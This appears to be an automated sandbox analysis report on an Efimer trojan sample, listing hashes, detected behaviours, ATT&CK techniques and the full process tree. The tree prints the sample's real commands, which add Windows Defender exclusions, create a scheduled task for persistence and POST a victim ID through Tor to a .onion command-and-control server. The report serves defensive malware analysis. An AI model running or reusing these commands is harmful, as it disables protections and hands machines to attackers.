efimer | 7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb

Analysis

max time kernel
149s
max time network
156s
platform
windows11-21h2_x64
resource
win11-20251015-en
resource tags

arch:x64arch:x86image:win11-20251015-enlocale:en-usos:windows11-21h2-x64system
submitted
04/11/2025, 15:21

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General

Target
7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe
Size 13.0MB
Sample251104-srqbyact7a
SHA256 7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb
MD5 698d49174bb10c6ad3c7a1b181ba7afd
SHA1 304fe0a35a41b52adc48738b4de5cc97105cbee5
SHA512 dcdb42439a58fc3c8df4af29874cef6d8df738d74f162d7c14ad7596934c81612d5d99fabbabfc04865ff0ba6b0bfd279babfc5b08c7143555793e56ec111922
SSDEEP 393216:dwk5ZyPc+beVFFySH5XMCHWUj6cuI3/PeuUpF:dwk5ZyUVXPXMb83H/mZF
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

execution efimer persistence trojan

Malware Config

Signatures

Efimer
Efimer is a trojan written in JS.
trojan efimer
Efimer family
efimer

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4952	powershell.exe
4364	powershell.exe
2256	powershell.exe
2636	powershell.exe
4084	powershell.exe
1392	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
4292	newhorison.sdk
5992	svcup.exe

Loads dropped DLL 9 IoCs

pid	Process
2324	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe
2324	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe
2324	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe
2324	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe
2324	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe
2324	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe
2324	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe
2324	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe
2324	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ipinfo.io
2	ipinfo.io

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5208	schtasks.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
4084	powershell.exe
4084	powershell.exe
4952	powershell.exe
4952	powershell.exe
4364	powershell.exe
4364	powershell.exe
2256	powershell.exe
2256	powershell.exe
2636	powershell.exe
2636	powershell.exe
1392	powershell.exe
1392	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	4084	powershell.exe
Token: SeDebugPrivilege	4952	powershell.exe
Token: SeDebugPrivilege	4364	powershell.exe
Token: SeDebugPrivilege	2256	powershell.exe
Token: SeDebugPrivilege	2636	powershell.exe
Token: SeDebugPrivilege	1392	powershell.exe

Suspicious use of WriteProcessMemory 40 IoCs

description	pid	Process	procid_target
PID 2248 wrote to memory of 2324	2248	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe	79
PID 2248 wrote to memory of 2324	2248	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe	79
PID 2324 wrote to memory of 4484	2324	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe	80
PID 2324 wrote to memory of 4484	2324	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe	80
PID 4484 wrote to memory of 4084	4484	cmd.exe	81
PID 4484 wrote to memory of 4084	4484	cmd.exe	81
PID 2324 wrote to memory of 4940	2324	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe	82
PID 2324 wrote to memory of 4940	2324	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe	82
PID 4940 wrote to memory of 4952	4940	cmd.exe	83
PID 4940 wrote to memory of 4952	4940	cmd.exe	83
PID 2324 wrote to memory of 800	2324	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe	84
PID 2324 wrote to memory of 800	2324	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe	84
PID 800 wrote to memory of 4364	800	cmd.exe	85
PID 800 wrote to memory of 4364	800	cmd.exe	85
PID 2324 wrote to memory of 3164	2324	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe	86
PID 2324 wrote to memory of 3164	2324	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe	86
PID 3164 wrote to memory of 2256	3164	cmd.exe	87
PID 3164 wrote to memory of 2256	3164	cmd.exe	87
PID 2324 wrote to memory of 5560	2324	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe	88
PID 2324 wrote to memory of 5560	2324	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe	88
PID 5560 wrote to memory of 2636	5560	cmd.exe	89
PID 5560 wrote to memory of 2636	5560	cmd.exe	89
PID 2324 wrote to memory of 5580	2324	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe	90
PID 2324 wrote to memory of 5580	2324	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe	90
PID 5580 wrote to memory of 1392	5580	cmd.exe	91
PID 5580 wrote to memory of 1392	5580	cmd.exe	91
PID 2324 wrote to memory of 4292	2324	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe	92
PID 2324 wrote to memory of 4292	2324	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe	92
PID 4292 wrote to memory of 2204	4292	newhorison.sdk	94
PID 4292 wrote to memory of 2204	4292	newhorison.sdk	94
PID 2324 wrote to memory of 3228	2324	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe	95
PID 2324 wrote to memory of 3228	2324	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe	95
PID 2324 wrote to memory of 956	2324	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe	96
PID 2324 wrote to memory of 956	2324	7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe	96
PID 956 wrote to memory of 5208	956	cmd.exe	97
PID 956 wrote to memory of 5208	956	cmd.exe	97
PID 2448 wrote to memory of 5992	2448	wscript.exe	102
PID 2448 wrote to memory of 5992	2448	wscript.exe	102
PID 2448 wrote to memory of 4988	2448	wscript.exe	104
PID 2448 wrote to memory of 4988	2448	wscript.exe	104

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe
"C:\Users\Admin\AppData\Local\Temp\7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2248
- C:\Users\Admin\AppData\Local\Temp\7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe
  "C:\Users\Admin\AppData\Local\Temp\7a6cf4f82ea18d5a78e01df72f50345267c81840808af42e8040bbe6905087bb.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2324
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4484
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4084
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Music\stream'""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4940
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Music\stream'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4952
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:800
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4364
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3164
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2256
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5560
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2636
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Get-MpComputerStatus | Out-Null""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5580
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Get-MpComputerStatus | Out-Null"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1392
- - C:\Users\Public\Music\stream\newhorison.sdk
    C:\Users\Public\Music\stream\newhorison.sdk --name Defender --silent
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:4292
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c pause
      4⤵
      PID:2204
- - C:\Windows\SYSTEM32\curl.exe
    curl -s --max-time 3 https://ipinfo.io/country
    3⤵
    PID:3228
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn nitro5 /xml C:\Users\Public\Music\stream\stream_a.xml /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:956
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn nitro5 /xml C:\Users\Public\Music\stream\stream_a.xml /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5208

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe
1⤵
PID:5816

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe C:\Users\Public\Music\stream\stream_a.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2448
- C:\Users\Public\Music\stream\svcup.exe
  "C:\Users\Public\Music\stream\svcup.exe"
  2⤵
  - Executes dropped EXE
  PID:5992
- C:\Windows\System32\curl.exe
  "C:\Windows\System32\curl.exe" -X POST -d "GUID=vt1z-3e89fa67&GEIP=GB&action=GUID" --socks5-hostname localhost:9050 http://cgky6bn6ux5wvlybtmm3z255igt52ljml2ngnc5qp3cnw5jlglamisad.onion/route.php --max-time 30 -o C:\Users\Admin\AppData\Local\Temp\cfile
  2⤵
  PID:4988

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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